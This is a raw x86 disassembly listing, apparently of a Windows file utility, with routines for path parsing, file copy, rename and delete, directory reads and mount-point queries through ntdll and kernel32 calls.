movzx esi, byte [ecx + ebx]
cmp esi, 0x5c
je 0x4079d0
cmp esi, 0x2f
jne 0x4079d5
inc eax
dec ecx
inc edx
jmp 0x4079be
mov dword [esp + 4], edi
neg edi
mov edx, dword [esp]
mov dword [esp + 0xc], edi
mov edi, ebx
sub edi, eax
lea esi, [edi + 1]
mov ecx, dword [esp + 0xc]
add ecx, esi
cmp ecx, 1
je 0x407a06
movzx ecx, byte [edx + esi - 2]
dec esi
cmp ecx, 0x2f
je 0x407a0a
cmp ecx, 0x5c
jne 0x4079e9
jmp 0x407a0a
mov esi, dword [esp + 4]
mov ecx, ebx
sub ecx, esi
cmp ecx, eax
jne 0x407a19
xor eax, eax
jmp 0x408527
lea ecx, [esp + 0x1180]
push edi
call fcn.004098a2
pop eax
movzx eax, word [esp + 0x1390]
test ax, ax
jne 0x407ae2
push 0x210
lea eax, [esp + 0x1184]
push eax
lea eax, [esp + 0xa78]
push eax
call fcn.0040307b
add esp, 0xc
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0xa70]
mov dword [esp + 0x760], 0x80100000
lea edx, [esp + 0xa74]
mov dword [esp + 0x764], ecx
and dword [esp + 0x768], 0
mov dword [esp + 0x14], eax
lea eax, [esp + 0x760]
mov dword [esp + 0x76c], 7
mov dword [esp + 0x770], 2
mov word [esp + 0x774], 0x101
lea ecx, [esp + 0x240]
push eax
push dword [esp + 0x18]
call fcn.004098ff
pop eax
pop ecx
movzx eax, word [esp + 0x244]
test ax, ax
jne 0x407ae2
push dword [esp + 0x240]
mov word [esp + 0x18], ax
call sub.ntdll.dll_NtClose
movzx eax, word [esp + 0x14]
mov edx, dword [esp]
test ax, ax
je 0x407b3a
movzx eax, ax
cmp eax, 7
je 0x407b3a
cmp eax, 8
jne 0x40773c
lea eax, [esi + 1]
mov edi, esi
cmp dword [esp + 4], edi
je 0x40773c
movzx ecx, byte [edx + edi - 1]
cmp ecx, 0x5c
je 0x407b19
cmp ecx, 0x2f
jne 0x407b1d
dec edi
dec eax
jmp 0x407b00
mov ecx, dword [esp + 0xc]
add ecx, eax
cmp ecx, 1
je 0x407b89
movzx ecx, byte [edx + eax - 2]
dec eax
cmp ecx, 0x2f
je 0x407b8d
cmp ecx, 0x5c
jne 0x407b1d
jmp 0x407b8d
cmp edi, ebx
mov esi, ebx
cmova esi, edi
cmp edi, ebx
jae 0x407b56
movzx eax, byte [edx + edi]
cmp eax, 0x5c
je 0x407b53
cmp eax, 0x2f
jne 0x407b5a
inc edi
jmp 0x407b41
mov edi, esi
jmp 0x407b5c
mov esi, edi
cmp esi, ebx
mov eax, ebx
cmova eax, esi
cmp edi, ebx
jae 0x407b78
movzx ecx, byte [edx + edi]
cmp ecx, 0x2f
je 0x407b7a
cmp ecx, 0x5c
je 0x407b7a
inc edi
jmp 0x407b63
mov edi, eax
xor eax, eax
cmp edi, esi
jne 0x407a19
jmp 0x408527
mov eax, dword [esp + 4]
cmp eax, edi
mov esi, eax
jne 0x407a19
jmp 0x40773c
call sub.KERNEL32.dll_GetLastError
push edi
push 0
push esi
call sub.KERNEL32.dll_HeapFree
mov si, 0xe
mov eax, dword [esp]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 4]
push eax
call fcn.00404f61
pop eax
jmp 0x406777
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x140]
lea esi, [esp + 0xd4]
lea edx, [esp + 0x244]
mov dword [eax], 0x80100000
mov dword [eax + 4], ecx
and dword [eax + 8], 0
xor ecx, ecx
inc ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], ecx
mov word [eax + 0x14], 0x101
mov ecx, esi
push eax
push dword [esp + 0xc]
call fcn.004098ff
pop eax
pop ecx
movzx eax, word [esi + 4]
test ax, ax
jne 0x408282
lea eax, [esp + 0x553]
lea edx, [esp + 0x758]
xor ecx, ecx
and eax, 0xfffffffc
sub edx, eax
cmovb edx, ecx
cmovb eax, ecx
cmovb edx, ecx
test eax, eax
je 0x407d9b
and edx, 0xfffffffe
mov ecx, edx
shr ecx, 1
test edx, edx
cmove eax, edi
cmove ecx, edx
mov edi, eax
jmp 0x407d9f
mov dword [esp + 8], ebx
mov ebx, dword [esp + 0x1184]
mov eax, dword [esp + 0x1180]
lea edx, [esp + 0x450]
lea ecx, [esp + 0x760]
mov dword [edx], esi
mov dword [esp], ebx
push ebx
mov dword [esp + 0x10], eax
push eax
call fcn.0040a734
pop eax
pop ecx
call sub.KERNEL32.dll_GetProcessHeap
mov bx, 2
test eax, eax
je 0x407d0a
push 0x28
push 0
mov dword [esp + 0x1c], eax
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x407d0a
mov ebx, eax
mov esi, eax
mov eax, dword [esp + 4]
add ebx, 3
and ebx, 0xfffffffc
mov dword [ebx], edi
mov dword [ebx + 4], eax
mov eax, dword [esp + 0xc]
mov dword [ebx + 8], eax
mov eax, dword [esp]
mov dword [ebx + 0xc], eax
mov eax, dword [esp + 0x10]
mov dword [ebx + 0x10], eax
mov eax, dword [esp + 0x14]
mov byte [ebx + 0x20], 0
mov dword [ebx + 0x14], esi
mov dword [ebx + 0x18], eax
push 0
push 0
push ebx
push 0x40af85
push 0x1000000
push 0
call sub.KERNEL32.dll_CreateThread
test eax, eax
jne 0x40784c
call sub.KERNEL32.dll_GetLastError
push esi
push 0
push dword [esp + 0x1c]
call sub.KERNEL32.dll_HeapFree
mov bx, 0xe
mov esi, dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, esi
push dword [esp]
call fcn.00404f61
pop eax
mov ecx, esi
mov edx, edi
push dword [esp + 4]
call fcn.00404f61
pop eax
mov eax, ebx
jmp 0x408527
lea eax, [esp + 0x760]
push 0x210
push esi
push eax
call fcn.0040307b
add esp, 0xc
lea eax, [esp + 0x244]
lea ecx, [esp + 0x764]
push 9
push ecx
push eax
call sub.KERNEL32.dll_MoveFileExW
test eax, eax
jne 0x407a12
call sub.KERNEL32.dll_GetLastError
jmp 0x407222
mov dword [esp + 8], eax
lea esi, [esp + 0x1180]
movzx ebx, byte [esi + 0x7200]
sub ebx, 1
jb 0x4084e6
mov ecx, dword [esi]
call case.0x40ad09.1
add esi, 0x720
jmp 0x407d83
xor ecx, ecx
xor edi, edi
mov ebx, dword [esi]
mov dx, 0xb
test edi, edi
je 0x408278
add ecx, ecx
push 0
push ecx
push edi
push 1
push ebx
call sub.ntdll.dll_NtQueryObject
cmp eax, 0x80000005
je 0x407e8d
cmp eax, 0xc0000004
je 0x407e8d
cmp eax, 0xc0000008
je 0x40814f
cmp eax, 0xc0000022
je 0x408158
cmp eax, 0xc0000023
je 0x407e8d
mov dx, 0xe
test eax, eax
jne 0x408278
cmp word [edi + 2], 0
mov dword [esp + 0x14], ebx
je 0x408161
mov eax, edi
movzx edi, word [edi]
mov eax, dword [eax + 4]
push 8
pop esi
mov edx, esi
mov ecx, str.Device_
push 8
mov dword [esp + 0xc], eax
push eax
call fcn.00409adc
pop ecx
pop edx
mov ebx, dword [esp + 0x14]
test al, 1
mov dx, 0xe
je 0x408278
mov eax, edi
shr edi, 1
mov dword [esp + 0x24], 0
test ax, ax
mov dword [esp + 0x18], edi
je 0x4081a3
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 8]
lea ebx, [eax - 1]
lea edi, [ecx + 0x10]
cmp esi, ebx
ja 0x4081a3
xor edx, edx
mov ecx, edi
inc edx
push 1
push 0x42bb9e
call fcn.00409adc
pop ecx
pop edx
test al, 1
jne 0x40819f
inc esi
add edi, 2
jmp 0x407e64
mov dx, 0xb
jmp 0x408278
movzx esi, byte [esp + 0x8380]
xor ebx, ebx
lea edi, [esp + 0x1180]
inc ebx
sub esi, 1
jb 0x407ebc
mov ecx, dword [edi]
call case.0x40ad09.1
add edi, 0x720
jmp 0x407ea8
mov edi, dword [esp]
mov esi, ebx
jmp 0x4084ed
lea ecx, [esp + 0x80]
lea edx, [esp + 0x140]
lea eax, [esp + 0x2c]
push 0
push eax
push ebx
jmp 0x407f50
push dword [esp + 0x1c]
call sub.ntdll.dll_NtClose
test byte [esp + 0x24], 1
jne 0x407ef9
push dword [esp + 0x28]
call sub.ntdll.dll_NtClose
lea esi, [esp + 0x1180]
mov dword [esp + 8], ebx
movzx ebx, byte [esi + 0x7200]
sub ebx, 1
jb 0x4084e6
mov ecx, dword [esi]
call case.0x40ad09.1
add esi, 0x720
jmp 0x407f0b
mov eax, dword [esp + 0x1180]
lea edi, [esp + 0xa70]
lea ecx, [esp + 0x140]
mov edx, ebx
mov dword [edi], eax
call fcn.00404b32
mov esi, edx
lea ecx, [esp + 0x80]
mov edx, eax
push 1
push edi
push esi
call fcn.0040a8df
add esp, 0xc
cmp word [esp + 0xa4], 0
jne 0x408138
push 9
pop ecx
lea eax, [esp + 0xb0]
lea esi, [esp + 0x80]
xor ebx, ebx
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov edi, dword [eax]
xor esi, esi
mov edx, dword [esp + 4]
lea eax, [esp + 0xa70]
mov dword [esp + 0xa74], ebx
mov dword [esp + 0xa70], esi
mov byte [esp + 0xa78], 1
lea ecx, [esp + 0x240]
push eax
push 0x8000
lea eax, [esp + 0x1188]
push eax
call fcn.0040aad1
add esp, 0xc
cmp word [esp + 0x244], 0
jne 0x40812c
mov eax, dword [esp + 0x240]
test eax, eax
je 0x40800b
lea ecx, [esp + 0x760]
mov edx, edi
push eax
lea eax, [esp + 0x1184]
push eax
call fcn.0040ab7d
pop eax
pop ecx
cmp word [esp + 0x764], 0
jne 0x40812c
mov eax, dword [esp + 0x760]
jmp 0x40800d
xor eax, eax
add esi, eax
adc ebx, 0
test eax, eax
je 0x408023
xor eax, dword [esp]
or eax, dword [esp + 8]
jne 0x407f82
cmp byte [esp + 0xd1], 0
je 0x40803b
push edi
call sub.ntdll.dll_NtClose
mov byte [esp + 0xd1], 0
lea edx, [esp + 0xc0]
lea edi, [esp + 0x760]
mov eax, dword [edx - 0xc]
mov ebx, dword [edx - 4]
mov esi, dword [edx - 8]
mov ecx, edi
mov dword [esp + 0xc], eax
push 0x10
call fcn.004098a2
pop eax
cmp word [edi + 0x210], 0
jne 0x40812c
lea eax, [esp + 0x550]
push 0x210
push edi
push eax
call fcn.0040307b
add esp, 0xc
mov edx, dword [esp + 0xc]
lea edi, [esp + 0xa70]
mov ecx, edi
push esi
call fcn.004098a2
pop eax
cmp word [edi + 0x210], 0
jne 0x40812c
push 0x210
push edi
lea eax, [esp + 0x248]
push eax
call fcn.0040307b
add esp, 0xc
lea edx, [esp + 0x554]
mov ecx, dword [esp + 0x240]
lea esi, [esp + 0xd4]
lea edi, [esp + 0x78]
mov dword [esi], 0x40110000
mov dword [esi + 4], ebx
and dword [esi + 8], 0
mov eax, dword [edx - 4]
mov dword [esi + 0xc], 7
mov dword [esi + 0x10], 1
mov word [esi + 0x14], 2
mov dword [esp + 0xc], ecx
mov ecx, edi
push esi
push eax
call fcn.004098ff
pop eax
pop ecx
cmp word [edi + 4], 0
jne 0x40812c
mov eax, dword [esp + 0x78]
cmp dword [esp + 0xc], 0x187
mov dword [esp], eax
jb 0x40858d
push dword [esp]
call sub.ntdll.dll_NtClose
lea ecx, [esp + 0xb0]
call fcn.0040ac57
push dword [esp + 4]
call sub.ntdll.dll_NtClose
mov ecx, dword [esp + 0x10]
mov edx, str.copy
jmp 0x4074a2
mov dx, 8
jmp 0x408278
mov dx, 9
jmp 0x408278
mov ebx, dword [esp + 0x14]
mov dx, 0xe
jmp 0x408278
mov ebx, eax
jmp 0x407ee0
mov dword [esp + 0x24], esi
lea edi, [esp + 0xa70]
push 0x11c
push 0
push edi
call fcn.00403060
add esp, 0xc
lea esi, [esp + 0x80]
mov edx, str.__MountPointManager
mov ecx, esi
push 0x42bba0
push 0x15
call fcn.004098ff
pop eax
pop ecx
movzx edx, word [esi + 4]
mov ebx, dword [esp + 0x14]
test dx, dx
jne 0x408278
mov ecx, dword [esp + 0x24]
mov esi, dword [esp + 0x80]
lea eax, [esp + 0xa88]
mov dword [eax - 8], 0x18
add ecx, ecx
mov word [eax - 4], cx
push ecx
push dword [esp + 0xc]
push eax
call fcn.0040307b
add esp, 0xc
lea eax, [esp + 0xf0]
lea ecx, [esp + 0x1180]
push 0x470
push ecx
push 0x11c
push edi
push 0x6d0008
push eax
push 0
push 0
push 0
mov dword [esp + 0x40], esi
push esi
call sub.ntdll.dll_NtDeviceIoControlFile
cmp eax, 0xc0000010
je 0x408265
cmp eax, 0xc0000022
je 0x408265
test eax, eax
je 0x40852f
mov si, 0xe
cmp eax, 0xc0000061
jne 0x408269
mov si, 9
push dword [esp + 0x1c]
call sub.ntdll.dll_NtClose
mov ebx, dword [esp + 0x14]
mov edx, esi
mov edi, edx
push ebx
call sub.ntdll.dll_NtClose
mov eax, edi
test ax, ax
je 0x4082b5
mov ecx, dword [esp + 0x10]
mov edx, str.realpath
push 8
call fcn.00408939
pop ecx
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0xc]
mov esi, dword [esp]
mov edi, eax
push esi
call fcn.00404f61
mov eax, edi
add esp, 4
jmp 0x408527
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
lea esi, [esp + 0x3c]
lea edx, [esp + 0x1180]
mov ecx, esi
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0x2c]
mov dword [edx], eax
lea eax, [esp + 0xa70]
push 0x42bcad
push dword [esp + 0xc]
push eax
call fcn.00409b43
add esp, 0xc
cmp word [esi + 4], 0
mov edi, dword [esp + 0x10]
je 0x408302
mov ecx, edi
mov edx, str.opendir
push 7
jmp 0x408292
mov ebx, dword [esp + 0x3c]
lea esi, [esp + 0x550]
mov ecx, esi
mov edx, ebx
mov dword [esp + 0x44], ebx
call fcn.00409bd2
cmp word [esi + 0x48], 0
je 0x40833f
mov ecx, edi
mov edx, str.dirstat
push 7
call fcn.00408939
pop ecx
mov esi, eax
push ebx
call sub.ntdll.dll_NtClose
mov eax, esi
jmp 0x408298
push 0x12
pop ecx
mov eax, edi
lea edi, [esp + 0x140]
lea esi, [esp + 0x550]
rep movsd dword es:[edi], dword [esi]
lea esi, [esp + 0x450]
mov edx, dword [eax + 0xf8]
mov ecx, esi
push dword [eax + 0xac]
push dword [eax + 0xfc]
call fcn.00404c06
pop eax
pop ecx
movzx eax, word [esi + 0x14]
test ax, ax
je 0x408386
mov edi, eax
jmp 0x408486
mov eax, dword [esp + 0x460]
movq xmm0, qword [esp + 0x450]
movsd xmm1, qword [esp + 0x458]
lea edx, [esp + 0x80]
lea esi, [esp + 0x60]
mov dword [esp + 0x2c], edx
mov ecx, esi
mov dword [edx + 0x10], eax
movsd qword [edx + 8], xmm1
movq qword [edx], xmm0
push 4
lea eax, [esp + 0x60]
push eax
call fcn.00404c5c
pop eax
pop ecx
movzx eax, word [esi + 4]
test ax, ax
jne 0x408478
lea esi, [esp + 0x70]
lea edx, [esp + 0x80]
mov ecx, esi
push dword [esp + 8]
lea eax, [esp + 0xa74]
push eax
call fcn.00404c5c
pop eax
pop ecx
movzx eax, word [esi + 4]
test ax, ax
jne 0x408478
lea ecx, [esp + 0x80]
push 0x5c
pop edx
call fcn.00404cbf
test ax, ax
jne 0x408478
lea esi, [esp + 0x78]
lea edx, [esp + 0x80]
mov ecx, esi
push 2
push 0x42b0dd
call fcn.00404c5c
pop eax
pop ecx
movzx eax, word [esi + 4]
test ax, ax
jne 0x408478
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x140]
push 1
push 0x42b0e0
call fcn.00409bd7
pop ecx
pop edx
test ax, ax
jne 0x408478
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x140]
push 2
push 0x42b0e2
call fcn.00409bd7
pop ecx
pop edx
test ax, ax
je 0x40874a
lea ecx, [esp + 0x80]
mov edi, eax
call fcn.00404f43
push ebx
call sub.ntdll.dll_NtClose
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0xc]
mov esi, dword [esp]
mov eax, edi
jmp 0x4082a3
mov dword [esp + 8], eax
lea esi, [esp + 0x1180]
movzx ebx, byte [esi + 0x7200]
sub ebx, 1
jb 0x4084e6
mov ecx, dword [esi]
call case.0x40ad09.1
add esi, 0x720
jmp 0x4084b0
lea esi, [esp + 0x1180]
movzx ebx, byte [esi + 0x7200]
sub ebx, 1
jb 0x4084e6
mov ecx, dword [esi]
call case.0x40ad09.1
add esi, 0x720
jmp 0x4084d2
mov edi, dword [esp]
mov esi, dword [esp + 8]
push edi
call sub.ntdll.dll_NtClose
test si, si
je 0x40850b
mov ecx, dword [esp + 0x10]
mov edx, str.delete
push 6
call fcn.00408939
pop ecx
jmp 0x408527
mov ecx, dword [esp + 0x10]
xor edx, edx
inc edx
lock xadd dword [ecx], edx
push 9
push str.delete_ok
push 0
call fcn.00408a20
add esp, 0xc
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 8]
lea ebx, [esp + 0x118c]
mov esi, dword [ebx - 8]
sub dword [esp + 0x18], ecx
lea eax, [eax + ecx*2]
mov dword [esp + 0x28], eax
sub esi, 1
jb 0x408665
movzx eax, word [ebx]
cmp eax, 0x18
mov dword [esp + 8], eax
jb 0x408588
mov edi, dword [ebx - 4]
lea eax, [esp + 0x1180]
add edi, eax
mov ecx, edi
push 0xc
pop edx
push 0xc
push str.DosDevices_
call fcn.00409adc
pop ecx
pop edx
test al, 1
jne 0x40867b
add ebx, 0x18
jmp 0x40854c
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x244]
lea esi, [esp + 0x118c]
mov byte [esi - 0xc], 1
lea eax, [edx + edx + 0xf]
lea edi, [edx + edx]
mov dword [esp + 8], eax
call fcn.0040ac1d
xor ecx, ecx
test al, 1
cmovne ebx, ecx
mov dword [esi - 8], ebx
mov dword [esi - 4], edi
push edi
lea eax, [esp + 0x248]
push eax
push esi
call fcn.0040307b
add esp, 0xc
lea eax, [esp + 0x48]
push 0xa
push dword [esp + 0xc]
lea ecx, [esp + 0x1188]
push ecx
push eax
push dword [esp + 0x10]
call sub.ntdll.dll_NtSetInformationFile
cmp eax, 0xc0000022
je 0x408124
cmp eax, 0xc0000034
je 0x408124
cmp eax, 0xc0000035
je 0x408124
cmp eax, 0xc000003a
je 0x408124
cmp eax, 0xc00000d4
je 0x408124
test eax, eax
jne 0x408124
push dword [esp]
call sub.ntdll.dll_NtClose
lea ecx, [esp + 0xb0]
mov byte [ecx + 0x22], 0
call fcn.0040ac57
push dword [esp + 4]
call sub.ntdll.dll_NtClose
mov ecx, dword [esp + 0x10]
xor edx, edx
inc edx
lock xadd dword [ecx], edx
push 7
push str.copy_ok
jmp 0x40851d
push dword [esp + 0x1c]
call sub.ntdll.dll_NtClose
mov dx, 8
mov ebx, dword [esp + 0x14]
jmp 0x408278
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0x18]
shr ecx, 1
lea eax, [ecx + eax - 0xc]
cmp eax, 0x104
mov dword [esp + 8], eax
jbe 0x4086a3
push dword [esp + 0x1c]
call sub.ntdll.dll_NtClose
mov dx, 0xb
jmp 0x408672
lea esi, [ecx - 0xc]
mov ebx, ecx
add edi, 0x18
lea ecx, [esp + 0x550]
lea eax, [esi + esi]
push eax
push edi
mov edi, ecx
push ecx
call fcn.0040307b
add esp, 0xc
lea eax, [esp + esi*2 + 0x550]
xor ecx, ecx
cmp dword [esp + 0x18], ecx
je 0x4086e0
mov edx, dword [esp + 0x28]
movzx edx, word [edx + ecx*2]
mov word [eax + ecx*2], dx
inc ecx
jmp 0x4086cb
mov eax, dword [esp + 0x18]
xor ecx, ecx
lea eax, [eax + ebx - 0xc]
cmp eax, ecx
je 0x40870e
cmp word [esp + ecx*2 + 0x550], 0
lea ecx, [ecx + 1]
jne 0x4086ea
push dword [esp + 0x1c]
call sub.ntdll.dll_NtClose
mov dx, 0xd
jmp 0x408672
push dword [esp + 0x1c]
call sub.ntdll.dll_NtClose
lea esi, [esp + 0x1180]
lea edx, [esp + 0xa70]
mov ecx, esi
push dword [esp + 8]
push edi
push 0x30d
call fcn.00404a86
add esp, 0xc
mov eax, dword [esi]
mov ebx, dword [esp + 0x14]
xor edi, edi
mov dword [esp + 8], eax
jmp 0x40827a
lea eax, [esp + 0x1180]
mov dword [eax], ebx
and dword [eax + 4], 0
and dword [eax + 8], 0
mov byte [eax + 0x410], 1
lea ecx, [esp + 0xf0]
lea edx, [esp + 0x1180]
call fcn.0040a403
cmp word [esp + 0x100], 0
jne 0x4088c3
cmp byte [esp + 0xfc], 0
je 0x4088c3
mov eax, dword [esp + 0xf0]
mov ecx, dword [esp + 0xf4]
cmp byte [esp + 0xf8], 2
mov dword [esp + 8], eax
mov dword [esp + 0x14], ecx
jne 0x408802
lea ecx, [esp + 0x48]
lea edx, [esp + 0x44]
push dword [esp + 0x14]
push dword [esp + 0xc]
call fcn.0040a66e
pop eax
pop ecx
cmp word [esp + 0x4c], 0
jne 0x408762
mov edx, dword [esp + 0x48]
lea ecx, [esp + 0x240]
mov dword [esp + 0x18], edx
call fcn.00409bd2
cmp word [esp + 0x288], 0
je 0x40887f
push dword [esp + 0x18]
call sub.ntdll.dll_NtClose
jmp 0x408762
mov dword [esp + 0x68], ebx
lea ecx, [esp + 0xd4]
lea edx, [esp + 0x68]
push 0x42bafc
push dword [esp + 0x18]
push dword [esp + 0x10]
call fcn.0040a569
add esp, 0xc
movzx eax, word [esp + 0xd8]
test ax, ax
je 0x408840
mov word [esp + 0x7a8], ax
jmp 0x408762
mov esi, dword [esp + 0xd4]
lea ecx, [esp + 0x760]
mov edx, esi
call fcn.00409192
push esi
call sub.ntdll.dll_NtClose
cmp word [esp + 0x7a8], 0
jne 0x408762
push 0x12
pop ecx
lea edi, [esp + 0x140]
lea esi, [esp + 0x760]
rep movsd dword es:[edi], dword [esi]
jmp 0x40889b
push 0x12
pop ecx
lea edi, [esp + 0x140]
lea esi, [esp + 0x240]
rep movsd dword es:[edi], dword [esi]
push dword [esp + 0x18]
call sub.ntdll.dll_NtClose
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x140]
push dword [esp + 0x14]
push dword [esp + 0xc]
call fcn.00409bd7
pop ecx
pop edx
test ax, ax
je 0x408762
jmp 0x408478
mov ecx, dword [esp + 0x10]
xor edx, edx
lea esi, [esp + 0x80]
inc edx
lock xadd dword [ecx], edx
push dword [esi + 4]
push dword [esi]
push 0x16
call fcn.00408a20
add esp, 0xc
mov ecx, esi
mov edi, eax
call fcn.00404f43
push dword [esp + 0x44]
call sub.ntdll.dll_NtClose
mov eax, edi
jmp 0x408298
mov ecx, esi
call fcn.00409010
mov esi, dword [esp + 0x10]
lea ecx, [esi + 0x88]
call fcn.00409017
add esi, 4
mov ecx, esi
call fcn.00409071
call fcn.00409098